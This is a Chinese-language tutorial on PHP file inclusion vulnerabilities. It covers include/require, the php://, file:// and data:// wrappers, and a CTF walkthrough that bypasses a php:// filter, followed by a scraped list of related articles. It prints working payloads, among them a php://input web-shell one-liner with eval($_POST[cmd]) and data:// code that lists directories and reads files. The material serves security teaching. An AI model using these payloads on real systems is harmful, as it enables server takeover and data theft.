本文由 东塔网络安全学院学员---吴同学 投稿。

0x00 文件包含的出现

开发者为了节约开发时间,可以将重复利用的代码使用文件包含的函数,如include,reuqire等进行文件包含,大大节约开发的时间和成本。

0x01文件包含函数

Include:包含并指定运行的函数。如果未找到文件则include结构会发出一条警告。

Require:包含并指定运行的函数。如果未找到文件则include结构会发出一个致命的错误。

Include_once:include_once语句和include语句完全相同,唯一区别是php会检查该文件是否已经被包含过,如果是则不会包含。

Require_once:require_once语句和require语句完全相同,唯一区别是php会检查该文件是否已经被包含过,如果是则不会包含。

0x02 php伪协议

Php支持的伪协议和封装协议:

具体协议请参照

0x03常见伪协议的用法:

1. file://:指定一个绝对路径包含,该路径表示服务器所存在的文件的路径。

例如:

2. php://

1. php://input是个可以访问请求的原始数据的只读流,在PHP5.6之前打开的数据流只能读取一次。需要在配置文件php.ini的allow_url_include设置为on。

例如:http://192.168.10.115/test.php?file=php://input 【POST DATA】<?php eval($_POST[cmd]); ?>,使用菜刀连接方式如下:

2. php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。使用以下的参数将作为它路径的一部分。

例子:

读取的内容为base64编码。

0x04例题

下面是来源于XTCTF的一道文件包含题:

如图源码显示,$page表示GET传过来的参数,会将该参数进行包含。在while循环条件中,strstr表示查找字符串的首次出现,如果存在php://,循环不会结束。str_replace会将$page参数中中的php://字符替换为空,说明该循环是为了除掉php://伪协议。

这里可以发现,php://被过滤无法使用,file://需要知道本地文件的路径,我们可以使用data://伪协议进行包含。

使用playload:?page=data://text/plain, <?php echo $_SERVER['DOCUMENT_ROOT']; ?>

输出当前文件的路径,然后使用playload:?page=data://text/plain, <?php print_r(scandir('/var/www'))?>

读出当前路径下的所有文件,看到flag文件,读出该文件的内容就能拿到flag值。playload:?page=data://text/plain, <?php $a = file_get_contents('fl4gisisish3r3.php');echo htmlentities($a); ?>

php文件包含漏洞的危害,php文件包含漏洞小结相关推荐

  1. struts2漏洞_十大常见web漏洞——命令执行漏洞

    命令执行漏洞在不同框架下都有存在,也是十分普遍且危害极大,下面我们介绍一个最具代表性的,也是影响范围最大的一个命令执行漏洞--Struts2远程代码执行漏洞. Struts2 漏洞介绍 ApacheS ...

  2. 文件包含原理及本地文件包含漏洞演示(本地文件,远程包含文件的测试)

    一.文件包含漏洞概述 1.定义:文件包含漏洞是一种最常见的漏洞类型,它会影响依赖于脚本运行时的web应用程序.当应用程序使用攻击者控制的变量构建可执行代码的路径时,文件包含漏洞会导致攻击者任意控制运行 ...

  3. Java安全-Tomcat AJP 文件包含漏洞(CVE-2020-1938)幽灵猫漏洞复现

    Tomcat AJP 文件包含漏洞(CVE-2020-1938) CVE-2020-1938 又名GhostCat ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含 ...

  4. Apache Tomcat 曝文件包含漏洞:攻击者可利用该漏洞读取webapp目录下的任意文件...

    点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | oschina 来源 | https://ww ...

  5. 文件包含中过滤了php,文件包含漏洞---php协议

    一.原理 1.概念:在php代码中,总会有一些代码我们会经常用到,这时引入了文件包含函数,可以通过文件包含函数把这些代码文件包含进来,直接使用文件中的代码,这样提高了我们的工作效率. 2.文件包含函数 ...

  6. 【文件包含漏洞】——文件包含漏洞进阶_日志文件包含利用

    文章目录 一.实验目的: 二.工具: 三.实验环境: 四.原理说明: 1. 原理: 2. 利用方法: 五.日志文件相关: 1. 日志文件路径: 2. 没有`access.log`访问日志的原因: 3. ...

  7. 常见网络安全漏洞(一)-- 文件包含漏洞

    今天正式开启网络安全学习的记录之路,这一系列会不定期更新,喜欢的朋友可以持续关注. 前言 第一个记录的安全漏洞是常见的文件包含漏洞,原理很枯燥,通过实验学习效果更好. 时间环境: DVWA 环境(通过 ...

  8. 00截断上传绕过_【文件上传与解析】文件上传与解析漏洞总结v1.0

    点击上方"公众号" 可以订阅哦! Hello,各位小伙伴晚上好~ 这里是依旧勤劳写公众号的小编~ 今天本公众号将推出一个新的模块,那就是漏洞知识点总结模块!!!(此处应有掌声~) ...

  9. ctfshow-萌新-web9( 利用命令执行漏洞读取网站敏感文件)

    ctf.show 萌新模块 web9关,这一关考察的是命令执行漏洞的利用方式,使用PHP的命令执行函数执行系统命令,读取网站根目录下的配置文件,获取flag 页面中展示了部分源码,很明显是作者提示我们 ...

最新文章

  1. Protocol Buffer C++应用实例
  2. APP启动引导页的制作,用ViewPager实现翻页动画
  3. PHP进行生成并且导出CSV文件
  4. 汇编基础知识之输入输出
  5. QAction添加事件响应
  6. Python timedelta total_seconds()方法与示例
  7. Keys.js 官方使用说明
  8. C++_类和对象_对象特性_成员变量占用对象内存_成员函数_静态成员函数_静态变量_都不占用对象内存_他们是分开存储的---C++语言工作笔记048
  9. java连接mysql url_java连接数据库URL
  10. PopWindow使用方法详解
  11. LaunchAnywhere载入Java VM时windows出现错误:2以及216
  12. SpringBoot 教程核心功能-Web 开发(请求处理)
  13. win10 租约到期不可连网
  14. 031--python--打印机票页面
  15. Tcp/Udp端口对照表
  16. 教你在硬件不满足Windows 11最低硬件要求的情况下安装Windows 11(绝对有效)
  17. 部署VDI虚拟桌面带来的改变
  18. 内连接外连接全连接(简单实例)
  19. limbo运行veket linux,Veket Linux使用(非常适合老电脑的系统)
  20. “智慧青岛”里的海信力量

热门文章

  1. (转)Windows 性能监视器工具-perfmon
  2. Nginx 0.7.x + PHP 5.2.6(FastCGI)搭建高性能web服务器
  3. English trip EM2-LP-2A Around the world Teacher:Taylor
  4. 【SpringBoot】Logback日志框架介绍和SpringBoot整合实战
  5. Linux下ioctl函数理解
  6. Oracle 数据库简介
  7. spring MVC 及 AOP 原理
  8. PAT (Basic Level) Practise (中文)-1034. 有理数四则运算(20)
  9. SQLCE数据库的几点研究
  10. Linux makefile教程之函数七[转]